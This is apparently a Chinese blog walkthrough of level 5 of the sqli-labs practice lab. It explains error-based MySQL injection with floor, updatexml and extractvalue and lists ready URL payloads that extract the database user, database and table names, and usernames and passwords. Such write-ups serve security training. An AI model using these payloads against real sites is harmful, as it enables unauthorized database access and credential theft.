sqli-labs系列——第五关

less5

 

更改id后无果,不能用union联合查询

 


sqli-labs系列——第五关

 

此处用报错注入

 

报错注入的概念:
(1). 通过floor报错 and (select 1 from (select count(*),concat((
payload),floor (rand(0)*2))x from information_schema.tables group by
x)a) 其中payload为你要插入的SQL语句 需要注意的是该语句将 输出字符长度限制为64个字符
(2). 通过updatexml报错 and updatexml(1, payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

(3). 通过extractValue报错 and extractvalue(1, payload) 输出字符有长度限制,最长32位。

 

?id=1' union select updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

 

sqli-labs系列——第五关

 

获取库名:

?id=1' union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

 

sqli-labs系列——第五关

 

爆表名:

?id=1' union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' limit 0,1),0x7e),1) --+

 

sqli-labs系列——第五关

 

爆用户名:

?id=1' union select updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+

 

sqli-labs系列——第五关

 

爆密码:

?id=1' union select updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+

 

sqli-labs系列——第五关

上一篇:sqli-labs靶场练习


下一篇:XSS之xss-labs-level18